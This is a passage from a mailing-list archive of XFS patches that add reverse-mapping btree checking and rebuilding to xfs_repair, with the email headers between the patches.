ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) diff --git a/repair/phase4.c b/repair/phase4.c index cbdb92e..98aab35 100644 --- a/repair/phase4.c +++ b/repair/phase4.c @@ -174,6 +174,12 @@ _("unable to add AG %u metadata reverse-mapping data.\n"), agno); if (error) do_error( _("unable to merge AG %u metadata reverse-mapping data.\n"), agno); + + error = check_rmaps(wq->mp, agno); + if (error) + do_error( +_("%s while checking reverse-mappings"), + strerror(-error)); } static void diff --git a/repair/rmap.c b/repair/rmap.c index a5ea685..7b65d52 100644 --- a/repair/rmap.c +++ b/repair/rmap.c @@ -41,6 +41,7 @@ struct xfs_ag_rmap { }; static struct xfs_ag_rmap *ag_rmaps; +static bool rmapbt_suspect; /* * Compare rmap observations for array sorting. @@ -413,3 +414,175 @@ dump_rmap( #else # define dump_rmap(m, a, r) #endif + +/** + * rmap_record_count() -- Return the number of rmap objects for an AG. + * + * @mp: XFS mount object + * @agno: AG number + */ +size_t +rmap_record_count( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + return slab_count(ag_rmaps[agno].ar_rmaps); +} + +/** + * init_rmap_cursor() -- Return a slab cursor that will return rmap + * objects in order. + * @agno: AG number. + * @cur: The new cursor. + */ +int +init_rmap_cursor( + xfs_agnumber_t agno, + struct xfs_slab_cursor **cur) +{ + return init_slab_cursor(ag_rmaps[agno].ar_rmaps, rmap_compare, cur); +} + +/** + * rmap_avoid_check() -- Disable the refcount btree check. + */ +void +rmap_avoid_check(void) +{ + rmapbt_suspect = true; +} + +/** + * check_rmaps() -- Compare the observed reverse mappings against + * what's in the ag btree. + * @mp: XFS mount object + * @agno: AG number + */ +int +check_rmaps( + struct xfs_mount *mp, + xfs_agnumber_t agno) +{ + struct xfs_slab_cursor *rm_cur; + struct xfs_btree_cur *bt_cur = NULL; + int error; + int have; + int i; + struct xfs_buf *agbp = NULL; + struct xfs_rmap_irec *rm_rec; + struct xfs_rmap_irec tmp; + struct xfs_perag *pag; /* per allocation group data */ + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return 0; + if (rmapbt_suspect) { + if (no_modify && agno == 0) + do_warn(_("would rebuild corrupt rmap btrees.\n")); + return 0; + } + + /* Create cursors to refcount structures */ + error = init_rmap_cursor(agno, &rm_cur); + if (error) + return error; + + error = xfs_alloc_read_agf(mp, NULL, agno, 0, &agbp); + if (error) + goto err; + + /* Leave the per-ag data "uninitialized" since we rewrite it later */ + pag = xfs_perag_get(mp, agno); + pag->pagf_init = 0; + xfs_perag_put(pag); + + bt_cur = xfs_rmapbt_init_cursor(mp, NULL, agbp, agno); + if (!bt_cur) { + error = -ENOMEM; + goto err; + } + + rm_rec = pop_slab_cursor(rm_cur); + while (rm_rec) { + /* Look for a rmap record in the btree */ + error = xfs_rmap_lookup_eq(bt_cur, rm_rec->rm_startblock, + rm_rec->rm_blockcount, rm_rec->rm_owner, + rm_rec->rm_offset, &have); + if (error) + goto err; + if (!have) { + do_warn( +_("Missing reverse-mapping record for (%u/%u) %slen %u owner %"PRIx64" \ +%s%soff %"PRIx64"\n"), + agno, rm_rec->rm_startblock, + XFS_RMAP_IS_UNWRITTEN(rm_rec->rm_blockcount) ? + _("unwritten ") : "", + XFS_RMAP_LEN(rm_rec->rm_blockcount), + rm_rec->rm_owner, + XFS_RMAP_IS_ATTR_FORK(rm_rec->rm_offset) ? + _("attr ") : "", + XFS_RMAP_IS_BMBT(rm_rec->rm_offset) ? + _("bmbt ") : "", + XFS_RMAP_OFF(rm_rec->rm_offset)); + goto next_loop; + } + + error = xfs_rmap_get_rec(bt_cur, &tmp, &i); + if (error) + goto err; + if (!i) { + do_warn( +_("Unretrievable reverse-mapping record for (%u/%u) %slen %u owner %"PRIx64" \ +%s%soff %"PRIx64"\n"), + agno, rm_rec->rm_startblock, + XFS_RMAP_IS_UNWRITTEN(rm_rec->rm_blockcount) ? + _("unwritten ") : "", + XFS_RMAP_LEN(rm_rec->rm_blockcount), + rm_rec->rm_owner, + XFS_RMAP_IS_ATTR_FORK(rm_rec->rm_offset) ? + _("attr ") : "", + XFS_RMAP_IS_BMBT(rm_rec->rm_offset) ? + _("bmbt ") : "", + XFS_RMAP_OFF(rm_rec->rm_offset)); + goto next_loop; + } + + /* Compare each refcount observation against the btree's */ + if (tmp.rm_startblock != rm_rec->rm_startblock || + tmp.rm_blockcount != rm_rec->rm_blockcount || + tmp.rm_owner != rm_rec->rm_owner || + tmp.rm_offset != rm_rec->rm_offset) + do_warn( +_("Incorrect reverse-mapping: saw (%u/%u) %slen %u owner %"PRIx64" %s%soff \ +%"PRIx64"; should be (%u/%u) %slen %u owner %"PRIx64" %s%soff %"PRIx64"\n"), + agno, tmp.rm_startblock, + XFS_RMAP_IS_UNWRITTEN(tmp.rm_blockcount) ? + _("unwritten ") : "", + XFS_RMAP_LEN(tmp.rm_blockcount), + tmp.rm_owner, + XFS_RMAP_IS_ATTR_FORK(tmp.rm_offset) ? + _("attr ") : "", + XFS_RMAP_IS_BMBT(tmp.rm_offset) ? + _("bmbt ") : "", + XFS_RMAP_OFF(tmp.rm_offset), + agno, rm_rec->rm_startblock, + XFS_RMAP_IS_UNWRITTEN(rm_rec->rm_blockcount) ? + _("unwritten ") : "", + XFS_RMAP_LEN(rm_rec->rm_blockcount), + rm_rec->rm_owner, + XFS_RMAP_IS_ATTR_FORK(rm_rec->rm_offset) ? + _("attr ") : "", + XFS_RMAP_IS_BMBT(rm_rec->rm_offset) ? + _("bmbt ") : "", + XFS_RMAP_OFF(rm_rec->rm_offset)); +next_loop: + rm_rec = pop_slab_cursor(rm_cur); + } + +err: + if (bt_cur) + xfs_btree_del_cursor(bt_cur, XFS_BTREE_NOERROR); + if (agbp) + libxfs_putbuf(agbp); + free_slab_cursor(&rm_cur); + return 0; +} diff --git a/repair/rmap.h b/repair/rmap.h index 7bab450..f3f3331 100644 --- a/repair/rmap.h +++ b/repair/rmap.h @@ -33,4 +33,9 @@ extern int fold_raw_rmaps(struct xfs_mount *mp, xfs_agnumber_t agno); extern int add_fixed_ag_rmap_data(struct xfs_mount *, xfs_agnumber_t); +extern size_t rmap_record_count(struct xfs_mount *, xfs_agnumber_t); +extern int init_rmap_cursor(xfs_agnumber_t, struct xfs_slab_cursor **); +extern void rmap_avoid_check(void); +extern int check_rmaps(struct xfs_mount *, xfs_agnumber_t); + #endif /* RMAP_H_ */ diff --git a/repair/scan.c b/repair/scan.c index db9e131..823401b 100644 --- a/repair/scan.c +++ b/repair/scan.c @@ -29,6 +29,7 @@ #include "bmap.h" #include "progress.h" #include "threads.h" +#include "slab.h" #include "rmap.h" static xfs_mount_t *mp = NULL; @@ -808,7 +809,9 @@ scan_rmapbt( if (magic != XFS_RMAP_CRC_MAGIC) { name = "(unknown)"; - assert(0); + hdr_errors++; + suspect++; + goto out; } if (be32_to_cpu(block->bb_magic) != magic) { @@ -816,7 +819,7 @@ scan_rmapbt( be32_to_cpu(block->bb_magic), name, agno, bno); hdr_errors++; if (suspect) - return; + goto out; } /* @@ -834,7 +837,7 @@ scan_rmapbt( level, be16_to_cpu(block->bb_level), name, agno, bno); hdr_errors++; if (suspect) - return; + goto out; } /* check for btree blocks multiply claimed */ @@ -844,7 +847,7 @@ scan_rmapbt( do_warn( _("%s rmap btree block claimed (state %d), agno %d, bno %d, suspect %d\n"), name, state, agno, bno, suspect); - return; + goto out; } set_bmap(agno, bno, XR_E_FS_MAP); @@ -992,7 +995,7 @@ _("unknown block (%d,%d-%d) mismatch on %s tree, state - %d,%" PRIx64 "\n"), } } } - return; + goto out; } /* @@ -1020,7 +1023,7 @@ _("unknown block (%d,%d-%d) mismatch on %s tree, state - %d,%" PRIx64 "\n"), mp->m_rmap_mnr[1], mp->m_rmap_mxr[1], name, agno, bno); if (suspect) - return; + goto out; suspect++; } else if (suspect) { suspect = 0; @@ -1043,6 +1046,10 @@ _("unknown block (%d,%d-%d) mismatch on %s tree, state - %d,%" PRIx64 "\n"), magic, priv, &xfs_rmapbt_buf_ops); } } + +out: + if (suspect) + rmap_avoid_check(); } /* From darrick.wong@oracle.com Wed Oct 7 00:09:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id F032929E90 for ; Wed, 7 Oct 2015 00:09:03 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 80720AC007 for ; Tue, 6 Oct 2015 22:09:03 -0700 (PDT) X-ASG-Debug-ID: 1444194540-04bdf020db0ea00001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id XvsljPgLLGwwI8Nb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:09:01 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9758x1x021384 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:00 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9758xpc032616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:08:59 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9758ur7007543; Wed, 7 Oct 2015 05:08:56 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:08:56 -0700 Subject: [PATCH 34/51] xfs_repair: rebuild reverse-mapping btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 34/51] xfs_repair: rebuild reverse-mapping btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:08:55 -0700 Message-ID: <20151007050855.1504.63625.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194541 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Rebuild the reverse-mapping btree with the rmap observations corresponding to file extents, bmbt blocks, and fixed per-AG metadata. Signed-off-by: Darrick J. Wong --- repair/phase5.c | 321 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 316 insertions(+), 5 deletions(-) diff --git a/repair/phase5.c b/repair/phase5.c index 109e37b..f37ce6b 100644 --- a/repair/phase5.c +++ b/repair/phase5.c @@ -28,6 +28,8 @@ #include "versions.h" #include "threads.h" #include "progress.h" +#include "slab.h" +#include "rmap.h" /* * we maintain the current slice (path from root to leaf) @@ -1326,6 +1328,292 @@ nextrec: } } +/* rebuild the rmap tree */ + +#define XR_RMAPBT_BLOCK_MAXRECS(mp, level) \ + ((mp)->m_rmap_mxr[(level) != 0]) + +/* + * we don't have to worry here about how chewing up free extents + * may perturb things because rmap tree building happens before + * freespace tree building. + */ +static void +init_rmapbt_cursor(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *btree_curs) +{ + size_t num_recs; + int level; + bt_stat_level_t *lptr; + bt_stat_level_t *p_lptr; + xfs_extlen_t blocks_allocated; + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) { + memset(btree_curs, 0, sizeof(bt_status_t)); + return; + } + + lptr = &btree_curs->level[0]; + btree_curs->init = 1; + + /* + * build up statistics + */ + num_recs = rmap_record_count(mp, agno); + if (num_recs == 0) { + /* + * easy corner-case -- no refcount records + */ + lptr->num_blocks = 1; + lptr->modulo = 0; + lptr->num_recs_pb = 0; + lptr->num_recs_tot = 0; + + btree_curs->num_levels = 1; + btree_curs->num_tot_blocks = btree_curs->num_free_blocks = 1; + + setup_cursor(mp, agno, btree_curs); + + return; + } + + blocks_allocated = lptr->num_blocks = howmany(num_recs, + XR_RMAPBT_BLOCK_MAXRECS(mp, 0)); + + lptr->modulo = num_recs % lptr->num_blocks; + lptr->num_recs_pb = num_recs / lptr->num_blocks; + lptr->num_recs_tot = num_recs; + level = 1; + + if (lptr->num_blocks > 1) { + for (; btree_curs->level[level-1].num_blocks > 1 + && level < XFS_BTREE_MAXLEVELS; + level++) { + lptr = &btree_curs->level[level]; + p_lptr = &btree_curs->level[level - 1]; + lptr->num_blocks = howmany(p_lptr->num_blocks, + XR_RMAPBT_BLOCK_MAXRECS(mp, level)); + lptr->modulo = p_lptr->num_blocks % lptr->num_blocks; + lptr->num_recs_pb = p_lptr->num_blocks + / lptr->num_blocks; + lptr->num_recs_tot = p_lptr->num_blocks; + + blocks_allocated += lptr->num_blocks; + } + } + ASSERT(lptr->num_blocks == 1); + btree_curs->num_levels = level; + + btree_curs->num_tot_blocks = btree_curs->num_free_blocks + = blocks_allocated; + + setup_cursor(mp, agno, btree_curs); +} + +static void +prop_rmap_cursor(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *btree_curs, + struct xfs_rmap_irec *rm_rec, int level) +{ + struct xfs_btree_block *bt_hdr; + struct xfs_rmap_key *bt_key; + xfs_rmap_ptr_t *bt_ptr; + xfs_agblock_t agbno; + bt_stat_level_t *lptr; + + level++; + + if (level >= btree_curs->num_levels) + return; + + lptr = &btree_curs->level[level]; + bt_hdr = XFS_BUF_TO_BLOCK(lptr->buf_p); + + if (be16_to_cpu(bt_hdr->bb_numrecs) == 0) { + /* + * this only happens once to initialize the + * first path up the left side of the tree + * where the agbno's are already set up + */ + prop_rmap_cursor(mp, agno, btree_curs, rm_rec, level); + } + + if (be16_to_cpu(bt_hdr->bb_numrecs) == + lptr->num_recs_pb + (lptr->modulo > 0)) { + /* + * write out current prev block, grab us a new block, + * and set the rightsib pointer of current block + */ +#ifdef XR_BLD_INO_TRACE + fprintf(stderr, " ino prop agbno %d ", lptr->prev_agbno); +#endif + if (lptr->prev_agbno != NULLAGBLOCK) { + ASSERT(lptr->prev_buf_p != NULL); + libxfs_writebuf(lptr->prev_buf_p, 0); + } + lptr->prev_agbno = lptr->agbno; + lptr->prev_buf_p = lptr->buf_p; + agbno = get_next_blockaddr(agno, level, btree_curs); + + bt_hdr->bb_u.s.bb_rightsib = cpu_to_be32(agbno); + + lptr->buf_p = libxfs_getbuf(mp->m_dev, + XFS_AGB_TO_DADDR(mp, agno, agbno), + XFS_FSB_TO_BB(mp, 1)); + lptr->agbno = agbno; + + if (lptr->modulo) + lptr->modulo--; + + /* + * initialize block header + */ + lptr->buf_p->b_ops = &xfs_rmapbt_buf_ops; + bt_hdr = XFS_BUF_TO_BLOCK(lptr->buf_p); + memset(bt_hdr, 0, mp->m_sb.sb_blocksize); + xfs_btree_init_block(mp, lptr->buf_p, XFS_RMAP_CRC_MAGIC, + level, 0, agno, + XFS_BTREE_CRC_BLOCKS); + + bt_hdr->bb_u.s.bb_leftsib = cpu_to_be32(lptr->prev_agbno); + + /* + * propagate extent record for first extent in new block up + */ + prop_rmap_cursor(mp, agno, btree_curs, rm_rec, level); + } + /* + * add inode info to current block + */ + be16_add_cpu(&bt_hdr->bb_numrecs, 1); + + bt_key = XFS_RMAP_KEY_ADDR(bt_hdr, + be16_to_cpu(bt_hdr->bb_numrecs)); + bt_ptr = XFS_RMAP_PTR_ADDR(bt_hdr, + be16_to_cpu(bt_hdr->bb_numrecs), + mp->m_rmap_mxr[1]); + + bt_key->rm_startblock = cpu_to_be32(rm_rec->rm_startblock); + bt_key->rm_owner = cpu_to_be64(rm_rec->rm_owner); + bt_key->rm_offset = cpu_to_be64(rm_rec->rm_offset); + + *bt_ptr = cpu_to_be32(btree_curs->level[level-1].agbno); +} + +/* + * rebuilds a rmap btree given a cursor. + */ +static void +build_rmap_tree(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *btree_curs) +{ + xfs_agnumber_t i; + xfs_agblock_t j; + xfs_agblock_t agbno; + struct xfs_btree_block *bt_hdr; + struct xfs_rmap_irec *rm_rec; + struct xfs_slab_cursor *rmap_cur; + struct xfs_rmap_rec *bt_rec; + struct bt_stat_level *lptr; + int level = btree_curs->num_levels; + int error; + + for (i = 0; i < level; i++) { + lptr = &btree_curs->level[i]; + + agbno = get_next_blockaddr(agno, i, btree_curs); + lptr->buf_p = libxfs_getbuf(mp->m_dev, + XFS_AGB_TO_DADDR(mp, agno, agbno), + XFS_FSB_TO_BB(mp, 1)); + + if (i == btree_curs->num_levels - 1) + btree_curs->root = agbno; + + lptr->agbno = agbno; + lptr->prev_agbno = NULLAGBLOCK; + lptr->prev_buf_p = NULL; + /* + * initialize block header + */ + + lptr->buf_p->b_ops = &xfs_rmapbt_buf_ops; + bt_hdr = XFS_BUF_TO_BLOCK(lptr->buf_p); + memset(bt_hdr, 0, mp->m_sb.sb_blocksize); + xfs_btree_init_block(mp, lptr->buf_p, XFS_RMAP_CRC_MAGIC, + i, 0, agno, + XFS_BTREE_CRC_BLOCKS); + } + + /* + * run along leaf, setting up records. as we have to switch + * blocks, call the prop_rmap_cursor routine to set up the new + * pointers for the parent. that can recurse up to the root + * if required. set the sibling pointers for leaf level here. + */ + error = init_rmap_cursor(agno, &rmap_cur); + if (error) + do_error( +_("Insufficient memory to construct reverse-map cursor.")); + rm_rec = pop_slab_cursor(rmap_cur); + lptr = &btree_curs->level[0]; + + for (i = 0; i < lptr->num_blocks; i++) { + /* + * block initialization, lay in block header + */ + lptr->buf_p->b_ops = &xfs_rmapbt_buf_ops; + bt_hdr = XFS_BUF_TO_BLOCK(lptr->buf_p); + memset(bt_hdr, 0, mp->m_sb.sb_blocksize); + xfs_btree_init_block(mp, lptr->buf_p, XFS_RMAP_CRC_MAGIC, + 0, 0, agno, + XFS_BTREE_CRC_BLOCKS); + + bt_hdr->bb_u.s.bb_leftsib = cpu_to_be32(lptr->prev_agbno); + bt_hdr->bb_numrecs = cpu_to_be16(lptr->num_recs_pb + + (lptr->modulo > 0)); + + if (lptr->modulo > 0) + lptr->modulo--; + + if (lptr->num_recs_pb > 0) + prop_rmap_cursor(mp, agno, btree_curs, rm_rec, 0); + + bt_rec = (struct xfs_rmap_rec *) + ((char *)bt_hdr + XFS_RMAP_BLOCK_LEN); + for (j = 0; j < be16_to_cpu(bt_hdr->bb_numrecs); j++) { + ASSERT(rm_rec != NULL); + bt_rec[j].rm_startblock = + cpu_to_be32(rm_rec->rm_startblock); + bt_rec[j].rm_blockcount = + cpu_to_be32(rm_rec->rm_blockcount); + bt_rec[j].rm_owner = cpu_to_be64(rm_rec->rm_owner); + bt_rec[j].rm_offset = cpu_to_be64(rm_rec->rm_offset); + + rm_rec = pop_slab_cursor(rmap_cur); + } + + if (rm_rec != NULL) { + /* + * get next leaf level block + */ + if (lptr->prev_buf_p != NULL) { +#ifdef XR_BLD_RL_TRACE + fprintf(stderr, "writing rmapbt agbno %u\n", + lptr->prev_agbno); +#endif + ASSERT(lptr->prev_agbno != NULLAGBLOCK); + libxfs_writebuf(lptr->prev_buf_p, 0); + } + lptr->prev_buf_p = lptr->buf_p; + lptr->prev_agbno = lptr->agbno; + lptr->agbno = get_next_blockaddr(agno, 0, btree_curs); + bt_hdr->bb_u.s.bb_rightsib = cpu_to_be32(lptr->agbno); + + lptr->buf_p = libxfs_getbuf(mp->m_dev, + XFS_AGB_TO_DADDR(mp, agno, lptr->agbno), + XFS_FSB_TO_BB(mp, 1)); + } + } + free_slab_cursor(&rmap_cur); +} + /* * build both the agf and the agfl for an agno given both * btree cursors. @@ -1338,7 +1626,8 @@ build_agf_agfl(xfs_mount_t *mp, bt_status_t *bno_bt, bt_status_t *bcnt_bt, xfs_extlen_t freeblks, /* # free blocks in tree */ - int lostblocks) /* # blocks that will be lost */ + int lostblocks, /* # blocks that will be lost */ + bt_status_t *rmap_bt) { extent_tree_node_t *ext_ptr; xfs_buf_t *agf_buf, *agfl_buf; @@ -1377,20 +1666,25 @@ build_agf_agfl(xfs_mount_t *mp, agf->agf_levels[XFS_BTNUM_BNO] = cpu_to_be32(bno_bt->num_levels); agf->agf_roots[XFS_BTNUM_CNT] = cpu_to_be32(bcnt_bt->root); agf->agf_levels[XFS_BTNUM_CNT] = cpu_to_be32(bcnt_bt->num_levels); + agf->agf_roots[XFS_BTNUM_RMAP] = cpu_to_be32(rmap_bt->root); + agf->agf_levels[XFS_BTNUM_RMAP] = cpu_to_be32(rmap_bt->num_levels); agf->agf_freeblks = cpu_to_be32(freeblks); /* * Count and record the number of btree blocks consumed if required. */ if (xfs_sb_version_haslazysbcount(&mp->m_sb)) { + unsigned int blks; /* * Don't count the root blocks as they are already * accounted for. */ - agf->agf_btreeblks = cpu_to_be32( - (bno_bt->num_tot_blocks - bno_bt->num_free_blocks) + + blks = (bno_bt->num_tot_blocks - bno_bt->num_free_blocks) + (bcnt_bt->num_tot_blocks - bcnt_bt->num_free_blocks) - - 2); + 2; + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + blks += rmap_bt->num_tot_blocks - rmap_bt->num_free_blocks - 1; + agf->agf_btreeblks = cpu_to_be32(blks); #ifdef XR_BLD_FREE_TRACE fprintf(stderr, "agf->agf_btreeblks = %u\n", be32_to_cpu(agf->agf_btreeblks)); @@ -1581,6 +1875,7 @@ phase5_func( bt_status_t bcnt_btree_curs; bt_status_t ino_btree_curs; bt_status_t fino_btree_curs; + bt_status_t rmap_btree_curs; int extra_blocks = 0; uint num_freeblocks; xfs_extlen_t freeblks1; @@ -1636,6 +1931,12 @@ phase5_func( sb_icount_ag[agno] += num_inos; sb_ifree_ag[agno] += num_free_inos; + /* + * Set up the btree cursors for the on-disk rmap btrees, + * which includes pre-allocating all required blocks. + */ + init_rmapbt_cursor(mp, agno, &rmap_btree_curs); + num_extents = count_bno_extents_blocks(agno, &num_freeblocks); /* * lose two blocks per AG -- the space tree roots @@ -1720,11 +2021,19 @@ phase5_func( ASSERT(freeblks1 == freeblks2); + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { + build_rmap_tree(mp, agno, &rmap_btree_curs); + write_cursor(&rmap_btree_curs); + sb_fdblocks_ag[agno] += (rmap_btree_curs.num_tot_blocks - + rmap_btree_curs.num_free_blocks) - 1; + } + /* * set up agf and agfl */ build_agf_agfl(mp, agno, &bno_btree_curs, - &bcnt_btree_curs, freeblks1, extra_blocks); + &bcnt_btree_curs, freeblks1, extra_blocks, + &rmap_btree_curs); /* * build inode allocation tree. */ @@ -1753,6 +2062,8 @@ phase5_func( */ finish_cursor(&bno_btree_curs); finish_cursor(&ino_btree_curs); + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + finish_cursor(&rmap_btree_curs); if (xfs_sb_version_hasfinobt(&mp->m_sb)) finish_cursor(&fino_btree_curs); finish_cursor(&bcnt_btree_curs); From darrick.wong@oracle.com Wed Oct 7 00:09:07 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4CE1229ECF for ; Wed, 7 Oct 2015 00:09:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3026F8F8049 for ; Tue, 6 Oct 2015 22:09:07 -0700 (PDT) X-ASG-Debug-ID: 1444194544-04cb6c57850da20001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id brCl3HKSxY7XM7nc (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:09:04 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t97593RO021649 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:09:03 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t97593C5028327 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:09:03 GMT Received: from abhmp0011.oracle.com (abhmp0011.oracle.com [141.146.116.17]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t975924O007580; Wed, 7 Oct 2015 05:09:03 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:09:02 -0700 Subject: [PATCH 35/51] xfs_repair: add per-AG btree blocks to rmap data and add to rmapbt From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 35/51] xfs_repair: add per-AG btree blocks to rmap data and add to rmapbt To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:09:01 -0700 Message-ID: <20151007050901.1504.59447.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194544 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Since we can't know the location of the new per-AG btree blocks prior to constructing the rmapbt, we must record raw reverse-mapping data for btree blocks while the new btrees are under construction. After the rmapbt has been rebuilt, merge the btree rmap entries into the rmapbt with the libxfs code. Also refactor the freelist fixing code since we need it to tidy up the AGFL after each rmapbt allocation. Signed-off-by: Darrick J. Wong --- repair/phase5.c | 47 ++++++------ repair/rmap.c | 220 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ repair/rmap.h | 4 + 3 files changed, 248 insertions(+), 23 deletions(-) diff --git a/repair/phase5.c b/repair/phase5.c index f37ce6b..734291a 100644 --- a/repair/phase5.c +++ b/repair/phase5.c @@ -74,6 +74,7 @@ typedef struct bt_status { * per-level status info */ bt_stat_level_t level[XFS_BTREE_MAXLEVELS]; + uint64_t owner; /* owner */ } bt_status_t; /* @@ -205,6 +206,7 @@ setup_cursor(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *curs) extent_tree_node_t *bno_ext_ptr; xfs_extlen_t blocks_allocated; xfs_agblock_t *agb_ptr; + int error; /* * get the number of blocks we need to allocate, then @@ -249,6 +251,12 @@ setup_cursor(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *curs) blocks_allocated++; } + error = add_ag_rmap(mp, agno, ext_ptr->ex_startblock, u, + curs->owner); + if (error) + do_error(_("could not set up btree rmaps: %s\n"), + strerror(-error)); + /* * if we only used part of this last extent, then we * need only to reset the extent in the extent @@ -916,6 +924,7 @@ init_ino_cursor(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *btree_curs, lptr = &btree_curs->level[0]; btree_curs->init = 1; + btree_curs->owner = XFS_RMAP_OWN_INOBT; /* * build up statistics @@ -1354,6 +1363,7 @@ init_rmapbt_cursor(xfs_mount_t *mp, xfs_agnumber_t agno, bt_status_t *btree_curs lptr = 